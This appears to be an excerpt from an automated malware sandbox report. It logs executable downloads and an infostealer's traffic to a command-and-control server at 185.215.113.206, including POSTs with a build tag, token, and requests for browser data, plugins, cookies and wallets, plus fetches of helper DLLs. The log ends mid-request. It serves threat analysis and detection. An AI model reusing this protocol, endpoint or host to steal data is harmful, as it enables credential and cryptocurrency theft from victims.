Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 27 Nov 2024 16:59:58 GMTContent-Type: application/octet-streamContent-Length: 1849344Last-Modified: Wed, 27 Nov 2024 16:47:19 GMTConnection: keep-aliveETag: "67474d17-1c3800"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 42 33 47 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 e6 03 00 00 c2 00 00 00 00 00 00 00 60 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 49 00 00 04 00 00 77 c0 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 60 05 00 70 00 00 00 00 50 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 61 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 05 00 00 10 00 00 00 58 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 50 05 00 00 02 00 00 00 68 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 60 05 00 00 02 00 00 00 6a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 30 2a 00 00 70 05 00 00 02 00 00 00 6c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 6b 68 63 64 64 61 6d 00 b0 19 00 00 a0 2f 00 00 a2 19 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 73 68 71 6c 78 62 69 00 10 00 00 00 50 49 00 00 06 00 00 00 10 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 49 00 00 22 00 00 00 16 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 27 Nov 2024 17:00:06 GMTContent-Type: application/octet-streamContent-Length: 1773056Last-Modified: Wed, 27 Nov 2024 16:47:26 GMTConnection: keep-aliveETag: "67474d1e-1b0e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 24 01 00 00 00 00 00 00 00 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 68 00 00 04 00 00 9c 11 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 a0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 29 00 00 c0 24 00 00 02 00 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 65 76 6a 7a 66 6a 72 00 70 19 00 00 80 4e 00 00 70 19 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 6a 71 6a 63 68 79 75 00 10 00 00 00 f0 67 00 00 04 00 00 00 e8 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 68 00 00 22 00 00 00 ec 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 27 Nov 2024 17:00:15 GMTContent-Type: application/octet-streamContent-Length: 923136Last-Modified: Wed, 27 Nov 2024 16:45:33 GMTConnection: keep-aliveETag: "67474cad-e1600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 a5 4c 47 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 66 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 0e 00 00 04 00 00 14 aa 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 34 aa 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 34 aa 00 00 00 40 0d 00 00 ac 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 f0 0d 00 00 76 00 00 00 a0 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHIIEHJKKECGCBFIIJDAHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 30 43 45 37 37 44 45 30 42 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 41 2d 2d 0d 0a Data Ascii: ------FHIIEHJKKECGCBFIIJDAContent-Disposition: form-data; name="hwid"40CE77DE0B39786254513------FHIIEHJKKECGCBFIIJDAContent-Disposition: form-data; name="build"mars------FHIIEHJKKECGCBFIIJDA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJJECFIECBGDGCAAAEHHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 61 39 64 61 36 63 65 63 66 63 31 32 63 32 62 64 33 30 36 36 32 31 61 32 38 65 33 65 30 32 64 37 63 37 36 30 66 35 63 38 65 33 62 37 64 37 37 30 61 63 61 63 61 32 32 61 32 33 61 38 34 61 39 32 63 63 39 36 30 30 38 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 2d 2d 0d 0a Data Ascii: ------HJJJECFIECBGDGCAAAEHContent-Disposition: form-data; name="token"9a9da6cecfc12c2bd306621a28e3e02d7c760f5c8e3b7d770acaca22a23a84a92cc96008------HJJJECFIECBGDGCAAAEHContent-Disposition: form-data; name="message"browsers------HJJJECFIECBGDGCAAAEH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIJEHCBAKFCAKFHCGDGHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 49 4a 45 48 43 42 41 4b 46 43 41 4b 46 48 43 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 61 39 64 61 36 63 65 63 66 63 31 32 63 32 62 64 33 30 36 36 32 31 61 32 38 65 33 65 30 32 64 37 63 37 36 30 66 35 63 38 65 33 62 37 64 37 37 30 61 63 61 63 61 32 32 61 32 33 61 38 34 61 39 32 63 63 39 36 30 30 38 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 45 48 43 42 41 4b 46 43 41 4b 46 48 43 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 45 48 43 42 41 4b 46 43 41 4b 46 48 43 47 44 47 2d 2d 0d 0a Data Ascii: ------BFIJEHCBAKFCAKFHCGDGContent-Disposition: form-data; name="token"9a9da6cecfc12c2bd306621a28e3e02d7c760f5c8e3b7d770acaca22a23a84a92cc96008------BFIJEHCBAKFCAKFHCGDGContent-Disposition: form-data; name="message"plugins------BFIJEHCBAKFCAKFHCGDG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIEBGIDAAFHIJJJJEGCGHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 45 42 47 49 44 41 41 46 48 49 4a 4a 4a 4a 45 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 61 39 64 61 36 63 65 63 66 63 31 32 63 32 62 64 33 30 36 36 32 31 61 32 38 65 33 65 30 32 64 37 63 37 36 30 66 35 63 38 65 33 62 37 64 37 37 30 61 63 61 63 61 32 32 61 32 33 61 38 34 61 39 32 63 63 39 36 30 30 38 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 47 49 44 41 41 46 48 49 4a 4a 4a 4a 45 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 47 49 44 41 41 46 48 49 4a 4a 4a 4a 45 47 43 47 2d 2d 0d 0a Data Ascii: ------IIEBGIDAAFHIJJJJEGCGContent-Disposition: form-data; name="token"9a9da6cecfc12c2bd306621a28e3e02d7c760f5c8e3b7d770acaca22a23a84a92cc96008------IIEBGIDAAFHIJJJJEGCGContent-Disposition: form-data; name="message"fplugins------IIEBGIDAAFHIJJJJEGCG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDAFBKECAKFCAAAKJDAKHost: 185.215.113.206Content-Length: 5835Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAFBAKECAEGCBFIEGDGIHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 61 39 64 61 36 63 65 63 66 63 31 32 63 32 62 64 33 30 36 36 32 31 61 32 38 65 33 65 30 32 64 37 63 37 36 30 66 35 63 38 65 33 62 37 64 37 37 30 61 63 61 63 61 32 32 61 32 33 61 38 34 61 39 32 63 63 39 36 30 30 38 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 49 2d 2d 0d 0a Data Ascii: ------AAFBAKECAEGCBFIEGDGIContent-Disposition: form-data; name="token"9a9da6cecfc12c2bd306621a28e3e02d7c760f5c8e3b7d770acaca22a23a84a92cc96008------AAFBAKECAEGCBFIEGDGIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------AAFBAKECAEGCBFIEGDGIContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------AAFBAKECAEGCBFIEGDGI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KECGHIJDGCBKECAAKKECHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 43 47 48 49 4a 44 47 43 42 4b 45 43 41 41 4b 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 61 39 64 61 36 63 65 63 66 63 31 32 63 32 62 64 33 30 36 36 32 31 61 32 38 65 33 65 30 32 64 37 63 37 36 30 66 35 63 38 65 33 62 37 64 37 37 30 61 63 61 63 61 32 32 61 32 33 61 38 34 61 39 32 63 63 39 36 30 30 38 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 47 48 49 4a 44 47 43 42 4b 45 43 41 41 4b 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 47 48 49 4a 44 47 43 42 4b 45 43 41 41 4b 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 47 48 49 4a 44 47 43 42 4b 45 43 41 41 4b 4b 45 43 2d 2d 0d 0a Data Ascii: ------KECGHIJDGCBKECAAKKECContent-Disposition: form-data; name="token"9a9da6cecfc12c2bd306621a28e3e02d7c760f5c8e3b7d770acaca22a23a84a92cc96008------KECGHIJDGCBKECAAKKECContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KECGHIJDGCBKECAAKKECContent-Disposition: form-data; name="file"------KECGHIJDGCBKECAAKKEC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFIEHIIIJDAAAAAAKECBHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 61 39 64 61 36 63 65 63 66 63 31 32 63 32 62 64 33 30 36 36 32 31 61 32 38 65 33 65 30 32 64 37 63 37 36 30 66 35 63 38 65 33 62 37 64 37 37 30 61 63 61 63 61 32 32 61 32 33 61 38 34 61 39 32 63 63 39 36 30 30 38 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 2d 2d 0d 0a Data Ascii: ------KFIEHIIIJDAAAAAAKECBContent-Disposition: form-data; name="token"9a9da6cecfc12c2bd306621a28e3e02d7c760f5c8e3b7d770acaca22a23a84a92cc96008------KFIEHIIIJDAAAAAAKECBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KFIEHIIIJDAAAAAAKECBContent-Disposition: form-data; name="file"------KFIEHIIIJDAAAAAAKECB--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAAAAFBKFIECAAKECGCAHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGHJECAFIDAFHJKFCGHIHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 61 39 64 61 36 63 65 63 66 63 31 32 63 32 62 64 33 30 36 36 32 31 61 32 38 65 33 65 30 32 64 37 63 37 36 30 66 35 63 38 65 33 62 37 64 37 37 30 61 63 61 63 61 32 32 61 32 33 61 38 34 61 39 32 63 63 39 36 30 30 38 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 